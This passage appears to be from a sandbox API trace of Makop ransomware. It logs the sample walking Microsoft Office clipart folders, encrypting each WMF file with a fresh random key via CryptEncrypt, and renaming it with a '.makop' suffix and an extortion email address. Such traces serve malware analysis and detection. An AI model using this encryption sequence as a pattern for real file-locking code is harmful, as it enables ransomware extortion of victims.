nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.242] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.242] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.243] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.243] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.243] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.243] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ec4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ec4, lpOverlapped=0x0) returned 1 [0125.245] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ed0) returned 1 [0125.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ed0, lpOverlapped=0x0) returned 1 [0125.245] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.245] SetEndOfFile (hFile=0xf0) returned 1 [0125.252] GetProcessHeap () returned 0x48a0000 [0125.252] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.252] GetProcessHeap () returned 0x48a0000 [0125.252] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.252] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.252] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.254] CloseHandle (hObject=0xf0) returned 1 [0125.254] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0125.254] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned 63 [0125.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.255] GetProcessHeap () returned 0x48a0000 [0125.255] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.255] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.255] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.255] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.259] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.259] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.259] GetProcessHeap () returned 0x48a0000 [0125.259] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.259] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.260] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.260] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.260] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.260] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.261] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.261] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.261] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.261] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a28, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a28, lpOverlapped=0x0) returned 1 [0125.262] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a30, dwBufLen=0x3a30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3a30) returned 1 [0125.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.263] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3a30, lpOverlapped=0x0) returned 1 [0125.263] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.263] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.263] SetEndOfFile (hFile=0xf0) returned 1 [0125.271] GetProcessHeap () returned 0x48a0000 [0125.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.271] GetProcessHeap () returned 0x48a0000 [0125.271] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.271] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.273] CloseHandle (hObject=0xf0) returned 1 [0125.273] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0125.273] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0125.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.274] GetProcessHeap () returned 0x48a0000 [0125.274] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.274] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.274] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.274] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.274] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.274] GetProcessHeap () returned 0x48a0000 [0125.274] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.274] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.274] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.275] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.279] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.279] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.279] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.280] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.280] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.280] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.280] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.280] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.280] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2370, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2370, lpOverlapped=0x0) returned 1 [0125.282] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2370, dwBufLen=0x2370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2370) returned 1 [0125.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.283] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2370, lpOverlapped=0x0) returned 1 [0125.283] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.283] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.283] SetEndOfFile (hFile=0xf0) returned 1 [0125.290] GetProcessHeap () returned 0x48a0000 [0125.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.290] GetProcessHeap () returned 0x48a0000 [0125.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.290] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.291] CloseHandle (hObject=0xf0) returned 1 [0125.291] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0125.291] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned 63 [0125.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.292] GetProcessHeap () returned 0x48a0000 [0125.293] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.293] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.293] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.293] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.297] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.297] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.297] GetProcessHeap () returned 0x48a0000 [0125.298] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.298] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.298] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.298] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.298] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.298] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.299] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.299] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.299] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.299] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.299] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b2c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b2c, lpOverlapped=0x0) returned 1 [0125.300] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b30) returned 1 [0125.300] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b30, lpOverlapped=0x0) returned 1 [0125.301] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.301] SetEndOfFile (hFile=0xf0) returned 1 [0125.308] GetProcessHeap () returned 0x48a0000 [0125.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.308] GetProcessHeap () returned 0x48a0000 [0125.308] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.308] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.308] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.309] CloseHandle (hObject=0xf0) returned 1 [0125.310] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0125.310] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned 63 [0125.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.312] GetProcessHeap () returned 0x48a0000 [0125.312] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.312] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.312] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0125.316] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.316] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.316] GetProcessHeap () returned 0x48a0000 [0125.317] RtlAllocateHeap 